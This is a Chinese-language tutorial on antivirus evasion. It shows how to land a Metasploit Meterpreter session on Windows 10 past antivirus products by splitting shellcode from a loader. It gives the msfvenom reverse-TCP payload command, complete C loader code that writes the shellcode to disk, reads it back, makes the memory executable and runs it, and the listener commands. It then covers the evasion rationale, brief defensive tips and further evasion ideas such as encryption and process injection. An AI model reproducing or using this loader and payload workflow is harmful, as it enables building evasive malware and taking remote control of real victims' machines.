记一次分离免杀上线msf
字数 1558 2025-08-07 08:22:18
分离免杀上线MSF技术详解
0x00 前言
本文详细讲解如何通过分离shellcode和加载器(loader)的方式绕过杀毒软件(如火绒、安全卫士)的检测,成功上线Metasploit框架(MSF)。这种方法的核心思想是将恶意代码的执行过程分为两个阶段,从而规避传统杀软的静态检测。
0x01 环境准备
- 攻击机: Kali Linux (IP: 192.168.1.14)
- 受害者机: Windows 10
- 开发环境: Visual Studio 2022
- 工具: msfvenom (Metasploit payload生成器)
0x02 生成Shellcode
使用msfvenom生成反向TCP连接的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' lhost=192.168.1.14 lport=6666 -f c
参数说明:
-p windows/meterpreter/reverse_tcp: 指定payload类型为Windows反向TCP Meterpreter-b '\x00': 避免在shellcode中出现空字节(\x00)lhost: 指定攻击机IPlport: 指定监听端口-f c: 输出格式为C语言数组
0x03 加载器(Loader)代码实现
完整代码
#include <stdio.h>
#include <windows.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
char buf[] =
"\xbd\xaa\x9d\x4d..."; // 此处替换为实际生成的shellcode
int main()
{
// 将shellcode写入文件
FILE* fp1 = fopen("new.txt", "wb");
fprintf(fp1, buf);
fclose(fp1);
// 从文件读取shellcode
FILE* fp = fopen("new.txt", "rb");
fseek(fp, 0, SEEK_END);
char* ptr = (char*)malloc(sizeof(buf));
int size = ftell(fp);
rewind(fp);
memset(ptr, 0, sizeof(buf));
fread(ptr, sizeof(buf), 1, fp);
// 准备执行shellcode
char* start = (char*)malloc(sizeof(buf));
memset(start, 0, sizeof(buf));
memcpy(start, ptr, sizeof(buf));
// 修改内存属性为可执行
DWORD i = 0;
VirtualProtect(start, sizeof(buf), PAGE_EXECUTE_READWRITE, &i);
// 执行shellcode
((char(*)())start)();
}
代码详解
-
隐藏控制台窗口:
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")这行代码用于隐藏控制台程序运行时弹出的黑框。
-
shellcode存储:
char buf[] = "\xbd\xaa...";存储生成的shellcode,虽然代码中包含shellcode,但不会直接执行它。
-
文件操作部分:
- 将shellcode写入文件
new.txt - 从文件读取shellcode到内存
- 将shellcode写入文件
-
内存操作关键步骤:
malloc分配内存空间memset初始化内存memcpy复制shellcode到新分配的内存VirtualProtect修改内存属性为可执行(PAGE_EXECUTE_READWRITE)
-
执行shellcode:
((char(*)())start)();使用函数指针执行内存中的shellcode。
0x04 免杀原理分析
这种方法的免杀效果主要来自以下几个方面:
-
分离式加载:
- shellcode存储在文件中而非直接嵌入可执行文件
- 运行时动态加载,规避静态扫描
-
间接执行:
- 代码中虽然包含shellcode,但只是将其写入文件
- 实际执行的是从文件读取的内容
-
内存属性修改:
- 使用
VirtualProtect动态修改内存属性 - 规避了基于内存保护的检测
- 使用
-
无特征函数调用:
- 使用函数指针而非直接调用可疑API
0x05 测试流程
-
编译生成可执行文件:
- 使用Visual Studio 2022编译上述代码
- 注意架构匹配(x86或x64)
-
设置MSF监听:
msfconsole use exploit/multi/handler set lhost 192.168.1.14 set lport 6666 run -
执行测试:
- 在目标机器上运行编译后的程序
- 检查MSF是否成功建立会话
0x06 技术总结
整个技术流程可分为以下步骤:
- 将shellcode写入文件
- 从文件读取shellcode
- 分配内存空间
- 把shellcode复制到申请的内存中
- 更改内存属性为可执行
- 通过函数指针执行shellcode
0x07 防御建议
针对此类攻击,防御方可以采取以下措施:
-
行为监控:
- 监控进程的内存属性修改行为
- 检测可疑的文件读写操作
-
内存扫描:
- 实时扫描进程内存中的shellcode特征
-
权限控制:
- 限制应用程序的内存执行权限
- 启用DEP(数据执行保护)
-
日志分析:
- 记录异常的文件创建和内存操作
0x08 扩展思考
-
进阶免杀技术:
- 对shellcode进行加密/编码
- 使用更隐蔽的文件存储方式
- 实现进程注入而非直接执行
-
检测规避:
- 添加垃圾代码干扰分析
- 使用合法API实现类似功能
-
跨平台实现:
- 研究Linux/macOS下的类似技术
通过深入理解这种分离式加载技术的原理,无论是攻击方还是防御方都能更好地应对现代恶意软件的挑战。